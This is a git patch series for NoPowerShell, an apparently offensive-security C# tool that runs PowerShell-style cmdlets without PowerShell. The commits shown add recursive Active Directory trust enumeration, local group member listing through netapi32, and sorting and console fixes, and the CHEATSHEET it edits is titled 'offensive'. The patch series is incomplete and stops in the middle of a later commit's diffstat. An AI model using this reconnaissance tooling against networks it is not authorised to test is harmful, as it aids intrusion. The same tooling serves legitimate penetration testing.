a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs index 6c5b304..9f25c9e 100644 --- a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs +++ b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs @@ -30,7 +30,7 @@ public override CommandResult Execute(CommandResult pipeIn) else if (!string.IsNullOrEmpty(name)) query = string.Format(query, hostname, name); else - throw new InvalidOperationException("-Group or -Name parameter needs to be provided"); + throw new NoPowerShellException("-Group or -Name parameter needs to be provided"); _results = WmiHelper.ExecuteWmiQuery(query, computername, username, password); diff --git a/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs b/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs index 44fe259..8cd3ad0 100644 --- a/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs @@ -74,7 +74,7 @@ private CommandResult BrowseRegistry(string path, bool includeHidden, CaseInsens newPath = path.Replace("HKU:", string.Empty); } else - throw new InvalidOperationException("Unknown registry path."); + throw new NoPowerShellException("Unknown registry path: \"{0}\"", path); if (newPath.StartsWith(@"\")) newPath = newPath.Substring(1); diff --git a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs index 04396f8..313ef34 100644 --- a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs +++ b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs @@ -72,7 +72,7 @@ public static CommandResult QueryLDAP(string searchBase, SearchScope scope, stri // Validate if all properties are available //foreach (string property in properties) // if (!ciProperties.Contains(property)) - // throw new InvalidOperationException(string.Format("Column {0} not available in results", property)); + // throw new NoPowerShellException(string.Format("Column {0} not available in results", property)); // Create template // This makes sure the order of columns is in the order the user specified diff --git a/Source/NoPowerShell/HelperClasses/WmiHelper.cs b/Source/NoPowerShell/HelperClasses/WmiHelper.cs index a992c84..0f28cf4 100644 --- a/Source/NoPowerShell/HelperClasses/WmiHelper.cs +++ b/Source/NoPowerShell/HelperClasses/WmiHelper.cs @@ -57,7 +57,7 @@ public static CommandResult ExecuteWmiQuery(string wmiNamespace, string wmiQuery wildCardSelect = true; } else - throw new InvalidOperationException(string.Format("Unknown type of WMI query: {0}", wmiQuery)); + throw new NoPowerShellException(string.Format("Unknown type of WMI query: {0}", wmiQuery)); // Collect data foreach (ManagementObject m in queryCollection) From 5c8bb763d31cf979628b20e1e40b0faf013b6a24 Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Wed, 26 Feb 2020 23:24:37 +0100 Subject: [PATCH 06/23] Added 2 cmdlets + Fixed some bugfixes - Added Get-ADTrust and Sort-Object cmdlets - Fixed NoPowerShellDLL window issues - Fixed issue in LDAPHelper - Added exception to Get-RemoteSmbShare --- .../Commands/ActiveDirectory/GetADTrust.cs | 218 ++++++++++++++++++ .../Commands/Additional/GetRemoteSmbShare.cs | 4 + .../Commands/Utility/SortObjectCommand.cs | 140 +++++++++++ .../NoPowerShell/HelperClasses/LDAPHelper.cs | 9 +- .../HelperClasses/ResultRecord.cs | 30 +++ Source/NoPowerShell/NoPowerShell.csproj | 2 + Source/NoPowerShell/Program.cs | 4 + Source/NoPowerShell/ProgramDll.cs | 111 ++++++--- 8 files changed, 487 insertions(+), 31 deletions(-) create mode 100644 Source/NoPowerShell/Commands/ActiveDirectory/GetADTrust.cs create mode 100644 Source/NoPowerShell/Commands/Utility/SortObjectCommand.cs diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADTrust.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADTrust.cs new file mode 100644 index 0000000..0cb9370 --- /dev/null +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADTrust.cs @@ -0,0 +1,218 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.DirectoryServices.ActiveDirectory; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.ActiveDirectory +{ + public class GetADTrust : PSCommand + { + public GetADTrust(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain cmdlet parameters + string server = _arguments.Get("Server").Value; + string properties = _arguments.Get("Properties").Value; + string ldapFilter = _arguments.Get("LDAPFilter").Value; + int maxDepth = _arguments.Get("Depth").Value; + + // Determine properties + List arrProperties = null; + if (!string.IsNullOrEmpty(properties)) + arrProperties = new List(properties.Split(',')); + + // Build LDAP filter + if (!string.IsNullOrEmpty(ldapFilter)) + ldapFilter = string.Format("(&(objectClass=TrustedDomain){0})", ldapFilter); + + // Perform query + _results = GetTrustsRecursive(server, ldapFilter, arrProperties, 0, maxDepth); + + return _results; + } + + private CommandResult GetTrustsRecursive(string server, string filter, List properties, int depth, int maxDepth) + { + CommandResult results = new CommandResult(); + + // Identify whether this is a custom query or just the regular one + bool customQuery = false; + string ldapFilter = null; + + // Regulary query + if (string.IsNullOrEmpty(filter) && properties == null) + { + ldapFilter = "(objectClass=TrustedDomain)"; + } + // Custom query + else + { + customQuery = true; + ldapFilter = filter; + } + + // Perform LDAP query + CommandResult domains; + try + { + domains = LDAPHelper.QueryLDAP(null, ldapFilter, properties, server, username, password); + } + // Ignore if server returns an exception + catch(System.Runtime.InteropServices.COMException) + { + return results; + } + + // Parse results + CommandResult subresults = new CommandResult(); + foreach (ResultRecord domain in domains) + { + TrustDirection direction = (TrustDirection)Convert.ToInt32(domain["trustDirection"]); + + // Regular output + // List of domain trusts + if (!customQuery) + { + // Collect values + string name = domain["Name"]; + string flatName = domain["flatName"]; + string sid = domain["securityIdentifier"]; + + // Add result + results.Add( + new ResultRecord() + { + { "#", string.Empty }, + { "Name", flatName }, + { "Domain", name }, + { "Parent", server }, + { "Direction", direction.ToString() }, + { "SID", sid } + } + ); + + // Skip recursion if maximum depth is reached + if (depth >= maxDepth) + continue; + + // Follow outgoing trusts + if ((direction & TrustDirection.Outbound) == TrustDirection.Outbound) + { + CommandResult res = GetTrustsRecursive(name, filter, properties, depth + 1, maxDepth); + subresults.AddRange(res); + } + } + // Custom query has been performed + // Show all properties that are returned + else + { + // Obtain values + int trustAttributes = Convert.ToInt32(domain["trustAttributes"]); + TrustType type = (TrustType)Convert.ToInt32(domain["trustType"]); + string dn = domain["DistinguishedName"]; + + // Store in ResultRecord + // Bits as specified at https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c1 + domain.Add("DisallowTransivity", IsBitSet(trustAttributes, 0).ToString()); + domain.Add("UplevelOnly", IsBitSet(trustAttributes, 1).ToString()); + domain.Add("ForestTransitive", IsBitSet(trustAttributes, 3).ToString()); + domain.Add("UsesRC4Encryption", IsBitSet(trustAttributes, 7).ToString()); + domain.Add("TGTDelegation", IsBitSet(trustAttributes, 9).ToString()); + + // More attributes + domain["TrustType"] = type.ToString(); + domain.Add("Direction", direction.ToString()); + domain.Add("Source", string.Join(",", Array.FindAll(dn.Split(','), s => s.StartsWith("DC=")))); + + // Attributes to be added: + // - IntraForest (bool) + // - IsTreeParent (bool) + // - IsTreeRoot (bool) + // - SelectiveAuthentication (bool) + // - SIDFilteringForestAware (bool) + // - SIDFilteringQuarantined (bool) + // - Target (string) + // - TrustedPolicy (?) + // - TrustingPolicy (?) + // - UsesAESKeys (bool) + + results.Add(domain); + } + } + + // Only sort and add indices in case of regular output + if (!customQuery) + { + // Sort + subresults.Sort((x, y) => x["Name"].CompareTo(y["Name"])); + + // Add subresults to current results + results.AddRange(subresults); + + // Add indices + int i = 0; + foreach (ResultRecord r in results) + { + r["#"] = i.ToString(); + i++; + } + } + + return results; + } + + private static bool IsBitSet(int b, int pos) + { + return ((b >> pos) & 1) != 0; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-ADTrust", "nltest" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Server", true), + new StringArgument("Properties", true), + new StringArgument("LDAPFilter"), + new IntegerArgument("Depth", 1, true) // Unofficial parameter + }; + } + } + + public static new string Synopsis + { + get { return "Returns all trusted domain objects in the directory."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry("List trusts", "Get-ADTrust"), + new ExampleEntry("List trusts recursively till depth 3", "Get-ADTrust -Depth 3"), + new ExampleEntry("List all details of a certain trust", "Get-ADTrust -LDAPFilter \"(Name=mydomain.com)\""), + new ExampleEntry("List specific details of a certain trust", "Get-ADTrust -LDAPFilter \"(Name=mydomain.com)\" -Properties Name,trustDirection,securityIdentifier") + }; + } + } + } +} diff --git a/Source/NoPowerShell/Commands/Additional/GetRemoteSmbShare.cs b/Source/NoPowerShell/Commands/Additional/GetRemoteSmbShare.cs index 3f2ea1b..027bd1e 100644 --- a/Source/NoPowerShell/Commands/Additional/GetRemoteSmbShare.cs +++ b/Source/NoPowerShell/Commands/Additional/GetRemoteSmbShare.cs @@ -22,6 +22,10 @@ public GetRemoteSmbShare(string[] arguments) : base(arguments, SupportedArgument public override CommandResult Execute(CommandResult pipeIn) { string server = _arguments.Get("Server").Value; + + if (string.IsNullOrEmpty(server)) + throw new NoPowerShellException("Mandatory -Server argument missing"); + server = server.Replace(@"\\", ""); GetNetShares gns = new GetNetShares(); diff --git a/Source/NoPowerShell/Commands/Utility/SortObjectCommand.cs b/Source/NoPowerShell/Commands/Utility/SortObjectCommand.cs new file mode 100644 index 0000000..3a14d9d --- /dev/null +++ b/Source/NoPowerShell/Commands/Utility/SortObjectCommand.cs @@ -0,0 +1,140 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.Utility +{ + public class SortObjectCommand : PSCommand + { + public SortObjectCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string property = _arguments.Get("Property").Value; + bool descending = _arguments.Get("Descending").Value; + bool unique = _arguments.Get("Unique").Value; + + // Finished if input pipe is empty + if (pipeIn.Count == 0) + return pipeIn; + + // If no specific field specified, use first one + if (string.IsNullOrEmpty(property)) + { + foreach (string field in pipeIn[0].Keys) + { + property = field; + break; + } + } + + // Validate if property exists + if (!pipeIn[0].ContainsKey(property)) + throw new NoPowerShellException("Attribute \"{0}\" does not exist", property); + + // Perform sort + if(descending) + pipeIn.Sort((x, y) => y[property].CompareTo(x[property])); + else + pipeIn.Sort((x, y) => x[property].CompareTo(y[property])); + + // Perform unique if specified + if(unique) + { + CommandResult pipeOut = new CommandResult(); + + int r1i = 0; + bool first = true; + foreach (ResultRecord r1 in pipeIn) + { + // First record is always unique + if(first) + { + first = false; + pipeOut.Add(r1); + r1i++; + continue; + } + + int r2i = 0; + bool foundDuplicate = false; + foreach (ResultRecord r2 in pipeIn) + { + // Don't compare with yourself + if (r1i == r2i) + { + r2i++; + continue; + } + + // Compare objects or property + if ( + // Unique on full object + (string.IsNullOrEmpty(property) && r1.Equals(r2)) + || + // Unique on specific property + (!string.IsNullOrEmpty(property) && r1[property] == r2[property]) + ) + { + foundDuplicate = true; + break; + } + + r2i++; + } + + // Add if not found twice + if (!foundDuplicate) + pipeOut.Add(r1); + + r1i++; + } + + return pipeOut; + } + + return pipeIn; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Sort-Object", "sort" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Property"), + new BoolArgument("Descending", false), + new BoolArgument("Unique", false) + }; + } + } + + public static new string Synopsis + { + get { return "Sorts objects by property values."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry("Sort processes by name descending", "ps | sort -d name") + }; + } + } + } +} diff --git a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs index 313ef34..ffd1087 100644 --- a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs +++ b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs @@ -25,15 +25,15 @@ public static CommandResult QueryLDAP(string searchBase, SearchScope scope, stri CommandResult _results = new CommandResult(); // Select all properties if * parameter is provided - if (properties.Count > 0 && properties[0] == "*") + if (properties == null || (properties.Count > 0 && properties[0] == "*")) properties = new List(0); // Compile LDAP connection string string ldap = "LDAP://"; if(!string.IsNullOrEmpty(server)) - ldap += server + "/"; + ldap += server; if (!string.IsNullOrEmpty(searchBase)) - ldap += searchBase; + ldap += "/" + searchBase; if (ldap == "LDAP://") ldap = string.Empty; @@ -87,7 +87,7 @@ public static CommandResult QueryLDAP(string searchBase, SearchScope scope, stri SearchResult result = results[i]; // First records should have the same number of properties as any other record - ResultRecord foundRecord = (ResultRecord)recordTemplate.Clone(); // new ResultRecord(results[0].Properties.Count); + ResultRecord foundRecord = (ResultRecord)recordTemplate.Clone(); // Iterate over result properties foreach (DictionaryEntry property in result.Properties) @@ -105,6 +105,7 @@ public static CommandResult QueryLDAP(string searchBase, SearchScope scope, stri continue; // Byte array needs to be converted to SID case "objectsid": + case "securityidentifier": SecurityIdentifier sid = new SecurityIdentifier((byte[])objArray[0], 0); foundRecord[propertyKey] = sid.ToString(); continue; diff --git a/Source/NoPowerShell/HelperClasses/ResultRecord.cs b/Source/NoPowerShell/HelperClasses/ResultRecord.cs index 70daeab..e833758 100644 --- a/Source/NoPowerShell/HelperClasses/ResultRecord.cs +++ b/Source/NoPowerShell/HelperClasses/ResultRecord.cs @@ -27,5 +27,35 @@ public object Clone() { return new ResultRecord(this); } + + public override bool Equals(object obj) + { + // If parameter is null or an incorrect type, it for sure isn't equal + if (!(obj is Dictionary dict2)) + return false; + + // If count of columns is different, it isn't equal + if (this.Count != dict2.Count) + return false; + + // Validate values in all attributes + foreach (KeyValuePair kv1 in this) + { + // If attribute does not exist in second object + if (!dict2.ContainsKey(kv1.Key)) + return false; + + // If attribute value does not match the value in the second object + if (dict2[kv1.Key] != kv1.Value) + return false; + } + + return true; + } + + public override int GetHashCode() + { + return base.GetHashCode(); + } } } diff --git a/Source/NoPowerShell/NoPowerShell.csproj b/Source/NoPowerShell/NoPowerShell.csproj index 2532b59..39b43eb 100644 --- a/Source/NoPowerShell/NoPowerShell.csproj +++ b/Source/NoPowerShell/NoPowerShell.csproj @@ -89,6 +89,7 @@ + @@ -122,6 +123,7 @@ + diff --git a/Source/NoPowerShell/Program.cs b/Source/NoPowerShell/Program.cs index c89b6c8..2fca4e0 100644 --- a/Source/NoPowerShell/Program.cs +++ b/Source/NoPowerShell/Program.cs @@ -107,13 +107,17 @@ static int Main(string[] args) static void WriteError(string error) { + // Save existing color ConsoleColor BackgroundColor = Console.BackgroundColor; ConsoleColor ForegroundColor = Console.ForegroundColor; + + // Change color to error text Console.BackgroundColor = ConsoleColor.Black; Console.ForegroundColor = ConsoleColor.Red; Console.Error.WriteLine(error); + // Revert colors Console.BackgroundColor = BackgroundColor; Console.ForegroundColor = ForegroundColor; } diff --git a/Source/NoPowerShell/ProgramDll.cs b/Source/NoPowerShell/ProgramDll.cs index 96212f7..0f617c2 100644 --- a/Source/NoPowerShell/ProgramDll.cs +++ b/Source/NoPowerShell/ProgramDll.cs @@ -172,6 +172,7 @@ private static string ReadLine(List history) int index = 0; int cursorLeft = Console.CursorLeft; int cursorCurrent = cursorLeft; + int cursorTop = Console.CursorTop; bool insertMode = true; Console.TreatControlCAsInput = true; @@ -198,15 +199,35 @@ private static string ReadLine(List history) // Handle Backspace if (keyInfo.Key == ConsoleKey.Backspace) { - if (index > 0) + if (index <= 0) + continue; + + // Update string + int length = s.Length; + s = s.Remove(index - 1, 1); + index--; + + // Rewrite screen + Console.CursorTop = cursorTop; + Console.CursorLeft = cursorLeft; + Console.Out.Write(s.PadRight(length)); + + // Update cursor position + if (Console.CursorTop > cursorTop) { - int length = s.Length; - s = s.Remove(index - 1, 1); - index--; - cursorCurrent = Console.CursorLeft; - Console.CursorLeft = cursorLeft; - Console.Out.Write(s.PadRight(length)); - Console.CursorLeft = cursorCurrent - 1; + if (Console.CursorLeft > 0) + { + Console.CursorLeft--; + } + else + { + Console.CursorTop--; + Console.CursorLeft = Console.BufferWidth - 1; + } + } + else if (Console.CursorLeft > cursorLeft) + { + Console.CursorLeft--; } continue; @@ -215,15 +236,19 @@ private static string ReadLine(List history) // Handle Delete if (keyInfo.Key == ConsoleKey.Delete || (keyInfo.Key == ConsoleKey.D && keyInfo.Modifiers == ConsoleModifiers.Control)) { - if (index < s.Length) - { - int length = s.Length; - s = s.Remove(index, 1); - cursorCurrent = Console.CursorLeft; - Console.CursorLeft = cursorLeft; - Console.Out.Write(s.PadRight(length)); - Console.CursorLeft = cursorCurrent; - } + if (index >= s.Length) + continue; + + // Update string + int length = s.Length; + s = s.Remove(index, 1); + cursorCurrent = Console.CursorLeft; + + // Update screen + Console.CursorTop = cursorTop; // TODO: Still some bug where pressing delete when end of line will cause the cursor to be on the next line + Console.CursorLeft = cursorLeft; + Console.Out.Write(s.PadRight(length)); + Console.CursorLeft = cursorCurrent; continue; } @@ -231,29 +256,51 @@ private static string ReadLine(List history) // Handle Left arrow if (keyInfo.Key == ConsoleKey.LeftArrow || (keyInfo.Key == ConsoleKey.B && keyInfo.Modifiers == ConsoleModifiers.Control)) { - if (Console.CursorLeft > cursorLeft) + if (Console.CursorTop > cursorTop) + { + if (Console.CursorLeft > 0) + { + Console.CursorLeft--; + } + else + { + Console.CursorTop--; + Console.CursorLeft = Console.BufferWidth - 1; + } + } + else if (Console.CursorLeft > cursorLeft) { Console.CursorLeft--; - index--; } + index--; + continue; } // Handle Right arrow if (keyInfo.Key == ConsoleKey.RightArrow || (keyInfo.Key == ConsoleKey.F && keyInfo.Modifiers == ConsoleModifiers.Control)) { - if (Console.CursorLeft < cursorLeft + s.Length) + if (cursorLeft + s.Length % Console.BufferWidth == Console.CursorLeft) + continue; + + if (Console.CursorLeft < Console.BufferWidth - 1) { Console.CursorLeft++; - index++; + } + else + { + Console.CursorTop++; + Console.CursorLeft = 0; } + index++; + continue; } // Handle Up arrow - if(keyInfo.Key == ConsoleKey.UpArrow) + if (keyInfo.Key == ConsoleKey.UpArrow) { if (historyIndex > 0) { @@ -261,8 +308,9 @@ private static string ReadLine(List history) int length = s.Length; s = history[historyIndex]; Console.CursorLeft = cursorLeft; + Console.CursorTop = cursorTop; Console.Write(s.PadRight(length)); - Console.CursorLeft = cursorLeft + s.Length; + Console.CursorLeft = (cursorLeft + s.Length) % Console.BufferWidth; index = s.Length; } @@ -278,8 +326,9 @@ private static string ReadLine(List history) int length = s.Length; s = history[historyIndex]; Console.CursorLeft = cursorLeft; + Console.CursorTop = cursorTop; Console.Write(s.PadRight(length)); - Console.CursorLeft = cursorLeft + s.Length; + Console.CursorLeft = (cursorLeft + s.Length) % Console.BufferWidth; index = s.Length; } @@ -296,6 +345,7 @@ private static string ReadLine(List history) if (keyInfo.Key == ConsoleKey.Home || (keyInfo.Key == ConsoleKey.A && keyInfo.Modifiers == ConsoleModifiers.Control)) { Console.CursorLeft = cursorLeft; + Console.CursorTop = cursorTop; index = 0; continue; } @@ -303,7 +353,11 @@ private static string ReadLine(List history) // Handle End if (keyInfo.Key == ConsoleKey.End || (keyInfo.Key == ConsoleKey.E && keyInfo.Modifiers == ConsoleModifiers.Control)) { - Console.CursorLeft = cursorLeft + s.Length; + int lines = (cursorLeft + s.Length) / Console.BufferWidth; + int left = s.Length - (Console.BufferWidth * lines); + + Console.CursorTop = cursorTop + lines; + Console.CursorLeft = cursorLeft + left; index = s.Length; continue; } @@ -316,10 +370,12 @@ private static string ReadLine(List history) if (keyInfo.Key == ConsoleKey.Escape) { Console.CursorLeft = cursorLeft; + Console.CursorTop = cursorTop; index = s.Length; s = string.Empty; Console.Write(s.PadRight(index)); Console.CursorLeft = cursorLeft; + Console.CursorTop = cursorTop; continue; } @@ -354,9 +410,10 @@ private static string ReadLine(List history) // Redisplay string cursorCurrent = Console.CursorLeft; Console.CursorLeft = cursorLeft; + Console.CursorTop = cursorTop; Console.Out.Write(s); - Console.CursorLeft = cursorCurrent + 1; - // TODO: Fix line wrap in small window: gwmi "Select ProcessId,Name,CommandLine From Win32_Process" | ? Name -Like *PowerShell* | select ProcessId,CommandLine + Console.CursorTop = cursorTop + ((cursorLeft + index) / Console.BufferWidth); + Console.CursorLeft = (cursorCurrent + 1) % Console.BufferWidth; } while (true); } From e338042712618bc26aa9fc326b777be8c0e26bb6 Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Thu, 2 Apr 2020 10:31:15 +0200 Subject: [PATCH 07/23] Some cmdlet improvements - Added 'where' alias to Where-Object - Rebuilt Get-LocalGroupMember cmdlet --- CHEATSHEET.md | 2 +- .../Commands/Core/WhereObjectCommand.cs | 2 +- .../GetLocalGroupMemberCommand.cs | 149 ++++++++++++++++-- 3 files changed, 141 insertions(+), 12 deletions(-) diff --git a/CHEATSHEET.md b/CHEATSHEET.md index e5f3aca..93b8ef5 100644 --- a/CHEATSHEET.md +++ b/CHEATSHEET.md @@ -18,7 +18,7 @@ Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. | List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | | | List all local groups | `Get-LocalGroup` | | | List details of a specific group | `Get-LocalGroup Administrators` | | -| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | | +| List all members of the Administrators group | `Get-LocalGroupMember -Group Administrators` | | | List all local users | `Get-LocalUser` | | | List details of a specific user | `Get-LocalUser Administrator` | | | List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | | diff --git a/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs b/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs index a69b5d2..2aa5f99 100644 --- a/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs +++ b/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs @@ -73,7 +73,7 @@ public override CommandResult Execute(CommandResult pipeIn) public static new CaseInsensitiveList Aliases { - get { return new CaseInsensitiveList() { "Where-Object", "?" }; } + get { return new CaseInsensitiveList() { "Where-Object", "where", "?" }; } } public static new ArgumentList SupportedArguments diff --git a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs index 9f25c9e..2131b17 100644 --- a/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs +++ b/Source/NoPowerShell/Commands/LocalAccounts/GetLocalGroupMemberCommand.cs @@ -1,6 +1,7 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; using System; +using System.Runtime.InteropServices; /* Author: @bitsadmin @@ -10,6 +11,59 @@ namespace NoPowerShell.Commands.LocalAccounts { + // Most code in this class is from https://www.codeproject.com/Articles/2937/Getting-local-groups-and-member-names-in-C + // Code from obtaining the SID string by Igor Korkhov from https://stackoverflow.com/a/2146418 + + internal class Win32API + { + #region Win32 API Interfaces + [DllImport("netapi32.dll", EntryPoint = "NetApiBufferFree")] + internal static extern void NetApiBufferFree(IntPtr bufptr); + + [DllImport("netapi32.dll", EntryPoint = "NetLocalGroupGetMembers")] + internal static extern uint NetLocalGroupGetMembers( + IntPtr ServerName, + IntPtr GrouprName, + uint level, + ref IntPtr siPtr, + uint prefmaxlen, + ref uint entriesread, + ref uint totalentries, + IntPtr resumeHandle); + + [DllImport("netapi32.dll", EntryPoint = "NetLocalGroupEnum")] + internal static extern uint NetLocalGroupEnum( + IntPtr ServerName, + uint level, + ref IntPtr siPtr, + uint prefmaxlen, + ref uint entriesread, + ref uint totalentries, + IntPtr resumeHandle); + + [StructLayoutAttribute(LayoutKind.Sequential, CharSet = CharSet.Auto)] + internal struct LOCALGROUP_MEMBERS_INFO_2 + { + public IntPtr lgrmi2_sid; + public IntPtr lgrmi2_sidusage; + public IntPtr lgrmi2_name; + } + + [StructLayoutAttribute(LayoutKind.Sequential, CharSet = CharSet.Auto)] + internal struct LOCALGROUP_INFO_1 + { + public IntPtr lpszGroupName; + public IntPtr lpszComment; + } + + [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] + internal static extern bool ConvertSidToStringSid(IntPtr pSID, out IntPtr ptrSid); + + [DllImport("kernel32.dll")] + internal static extern IntPtr LocalFree(IntPtr hMem); + #endregion + } + public class GetLocalGroupMemberCommand : PSCommand { public GetLocalGroupMemberCommand(string[] userArguments) : base(userArguments, SupportedArguments) @@ -22,17 +76,92 @@ public override CommandResult Execute(CommandResult pipeIn) string group = _arguments.Get("Group").Value; string name = _arguments.Get("Name").Value; - string hostname = System.Environment.MachineName; - string query = "Associators Of {{Win32_Group.Domain='{0}',Name='{1}'}} Where ResultClass = Win32_UserAccount"; - - if (!string.IsNullOrEmpty(group)) - query = string.Format(query, hostname, group); - else if (!string.IsNullOrEmpty(name)) - query = string.Format(query, hostname, name); - else + // Validate parameters + string groupname = group ?? name; + if (string.IsNullOrEmpty(groupname)) throw new NoPowerShellException("-Group or -Name parameter needs to be provided"); - _results = WmiHelper.ExecuteWmiQuery(query, computername, username, password); + // Defining values for getting group names + uint level = 1, prefmaxlen = 0xFFFFFFFF, entriesread = 0, totalentries = 0; + int LOCALGROUP_INFO_1_SIZE, LOCALGROUP_MEMBERS_INFO_2_SIZE; + unsafe + { + LOCALGROUP_INFO_1_SIZE = sizeof(Win32API.LOCALGROUP_INFO_1); + LOCALGROUP_MEMBERS_INFO_2_SIZE = sizeof(Win32API.LOCALGROUP_MEMBERS_INFO_2); + } + + // Values that will receive information + IntPtr GroupInfoPtr, UserInfoPtr; + GroupInfoPtr = IntPtr.Zero; + UserInfoPtr = IntPtr.Zero; + + Win32API.NetLocalGroupEnum( + IntPtr.Zero, // Server name.it must be null + level, // Level can be 0 or 1 for groups. For more information see LOCALGROUP_INFO_0 and LOCALGROUP_INFO_1 + ref GroupInfoPtr, // Value that will be receive information + prefmaxlen, // Maximum length + ref entriesread, // Value that receives the count of elements actually enumerated + ref totalentries, // Value that receives the approximate total number of entries that could have been enumerated from the current resume position + IntPtr.Zero + ); + + // This string array will hold comments of each group + string[] commentArray = new string[totalentries]; + + // Getting group names + bool found = false; + for (int i = 0; i < totalentries; i++) + { + // Converting unmanaged code to managed codes with using Marshal class + int newOffset = GroupInfoPtr.ToInt32() + LOCALGROUP_INFO_1_SIZE * i; + Win32API.LOCALGROUP_INFO_1 groupInfo = (Win32API.LOCALGROUP_INFO_1)Marshal.PtrToStructure(new IntPtr(newOffset), typeof(Win32API.LOCALGROUP_INFO_1)); + string currentGroupName = Marshal.PtrToStringAuto(groupInfo.lpszGroupName); + + if (groupname.ToLowerInvariant() != currentGroupName.ToLowerInvariant()) + continue; + + found = true; + + // Defining value for getting name of members in each group + uint prefmaxlen1 = 0xFFFFFFFF, entriesread1 = 0, totalentries1 = 0; + + // Parameters for NetLocalGroupGetMembers is like NetLocalGroupEnum + Win32API.NetLocalGroupGetMembers( + IntPtr.Zero, + groupInfo.lpszGroupName, 2, + ref UserInfoPtr, prefmaxlen1, + ref entriesread1, ref totalentries1, + IntPtr.Zero + ); + + // Getting member's name + for (int j = 0; j < totalentries1; j++) + { + // Converting unmanaged code to managed codes using Marshal class + int newOffset1 = UserInfoPtr.ToInt32() + LOCALGROUP_MEMBERS_INFO_2_SIZE * j; + Win32API.LOCALGROUP_MEMBERS_INFO_2 memberInfo = (Win32API.LOCALGROUP_MEMBERS_INFO_2)Marshal.PtrToStructure(new IntPtr(newOffset1), typeof(Win32API.LOCALGROUP_MEMBERS_INFO_2)); + string currentUserName = Marshal.PtrToStringAuto(memberInfo.lgrmi2_name); + IntPtr pstr = IntPtr.Zero; + Win32API.ConvertSidToStringSid(memberInfo.lgrmi2_sid, out pstr); + string sid = Marshal.PtrToStringAuto(pstr); + Win32API.LocalFree(pstr); + + _results.Add( + new ResultRecord() + { + { "Name", currentUserName }, + { "SID", sid } + } + ); + } + // Free memory + Win32API.NetApiBufferFree(UserInfoPtr); + } + // Free memory + Win32API.NetApiBufferFree(GroupInfoPtr); + + if (!found) + throw new NoPowerShellException("Group {0} was not found.", groupname); return _results; } @@ -65,7 +194,7 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("List all active members of the Administrators group", "Get-LocalGroupMember -Group Administrators | ? Disabled -eq False") + new ExampleEntry("List all members of the Administrators group", "Get-LocalGroupMember -Group Administrators") }; } } From 77030ef07cc380efb6459bd3509edab9ffaf895b Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Thu, 2 Apr 2020 21:59:11 +0200 Subject: [PATCH 08/23] Various bugfixes + 1 new cmdlet - Compress-Archive now also supports compressing files in addition to only directories - Where-Object: Bugfix where cmdlet crashed in case attribute to filter on did not exist - Get-ChildItem: Support for multiple values for -Include (separate by comma) - Added Get-SmbShare cmdlet --- .../Archive/CompressArchiveCommand.cs | 25 +++++++- .../Commands/Core/WhereObjectCommand.cs | 4 ++ .../Management/GetChildItemCommand.cs | 32 +++++++--- .../Management/GetItemPropertyCommand.cs | 4 +- .../Commands/SmbShare/GetSmbMappingCommand.cs | 2 +- .../Commands/SmbShare/GetSmbShareCommand.cs | 61 +++++++++++++++++++ Source/NoPowerShell/NoPowerShell.csproj | 2 + 7 files changed, 115 